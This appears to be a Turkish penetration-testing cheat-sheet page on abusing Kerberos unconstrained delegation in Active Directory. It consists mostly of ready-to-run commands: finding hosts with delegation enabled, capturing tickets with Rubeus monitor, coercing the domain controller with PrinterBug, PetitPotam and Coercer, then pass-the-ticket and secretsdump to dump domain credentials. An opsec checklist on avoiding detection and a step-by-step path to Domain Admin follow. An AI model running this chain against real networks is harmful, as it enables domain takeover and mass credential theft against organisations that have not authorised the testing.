Skip to content

Unconstrained Delegation

AD privesc difficulty: orta

Unconstrained (kısıtsız) delegasyon, bir bilgisayar veya hesap için etkinleştirildiğinde (userAccountControl: TRUSTED_FOR_DELEGATION), ona Kerberos ile bağlanan kullanıcıların TGT’sinin servisin belleğinde (LSASS) saklanmasına neden olur. Bu makineyi ele geçiren saldırgan, oraya kimlik doğrulayan Domain Admin veya DC$ TGT’sini çalıp kimliğine bürünebilir.

Modern ortamlarda unconstrained azalmıştır; kaldığında hâlâ yüksek etkili yoldur. DC’ler varsayılan unconstrained’dır — onları “hedef host” olarak kullanmazsın; başka bir UD host’a DC’yi coerce edersin.

Terminal window
Get-DomainComputer -Unconstrained | select name,dnshostname
Terminal window
Get-DomainUser -Unconstrained
Terminal window
Get-DomainComputer -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
Terminal window
impacket-findDelegation domain.local/user:'Pass' -dc-ip DC
Terminal window
nxc ldap DC -u user -p 'Pass' --trusted-for-delegation
Terminal window
ldapsearch -x -H ldap://DC -D 'user@domain.local' -w 'Pass' \
-b 'DC=domain,DC=local' \
'(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName

BloodHound: Computers with Unconstrained Delegation, Shortest Paths to Unconstrained Delegation Systems.

PrinterBug · coercion

embedded tool
Generated command
impacket-printerbug domain.local/user:Pass123@dc01.domain.local 10.10.10.66
  1. Delegasyon hostunu ele geçir — UD bayraklı makinede local admin / SYSTEM (PtH, exploit, GPO…).

  2. TGT dinlemeye başla :

    Terminal window
    Rubeus.exe monitor /interval:5 /nowrap
    Terminal window
    Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap
  3. Yüksek yetkili kimliği çek (coercion) — DC’yi bu makineye authenticate etmeye zorla: Ayrıntı: Coercion .

    Terminal window
    printerbug.py 'domain.local/user:Pass'@DC_IP UD_HOST_IP
    Terminal window
    petitpotam.py -u user -p Pass -d domain.local UD_HOST_IP DC_IP
    Terminal window
    coercer coerce -u user -p Pass -d domain.local -t DC_IP -l UD_HOST_IP
  4. TGT’yi kullan :

    Terminal window
    Rubeus.exe ptt /ticket:<base64_or_kirbi>
    Terminal window
    impacket-ticketConverter dc.kirbi dc.ccache
    Terminal window
    export KRB5CCNAME=dc.ccache
    Terminal window
    impacket-secretsdump -k -no-pass dc01.domain.local

Coercion yoksa: UD web sunucusuna DA’nın RDP/admin bağlantısını bekle (monitor uzun süre). Daha yavaş, daha az gürültülü.

Terminal window
impacket-getST -spn ldap/dc01.domain.local -k -no-pass -dc-ip DC
□ Rubeus monitor bellek + log; /filteruser ile daralt
□ PrinterBug/PetitPotam DC’de belirgin
□ DC$ TGT ile hemen DCSync; monitor’ü kapat
□ UD host ele geçirme adımı asıl gürültü olabilir
□ DC’nin kendisinde dump ≠ unconstrained abuse senaryosu
□ Coerce hedefi IP vs DNS adı
□ “Account is sensitive and cannot be delegated” → TGT saklanmaz
□ Ticket expire — hızlı kullan
□ Kerberos AES only — Rubeus sürüm uyumu
BloodHound → UD host
→ local admin
→ Rubeus monitor + PrinterBug DC→UD
→ DC$ TGT ptt → secretsdump
→ DA
Terminal window
nxc ldap DC -u user -p 'Pass' --trusted-for-delegation
Terminal window
printerbug.py 'domain.local/user:Pass'@DC_IP UD_HOST_IP
Terminal window
impacket-ticketConverter ticket.kirbi dc.ccache
Terminal window
export KRB5CCNAME=dc.ccache
Terminal window
impacket-secretsdump -k -no-pass -just-dc dc01.domain.local

Coercion · DCSync · Pass-the-Ticket · Delegation genel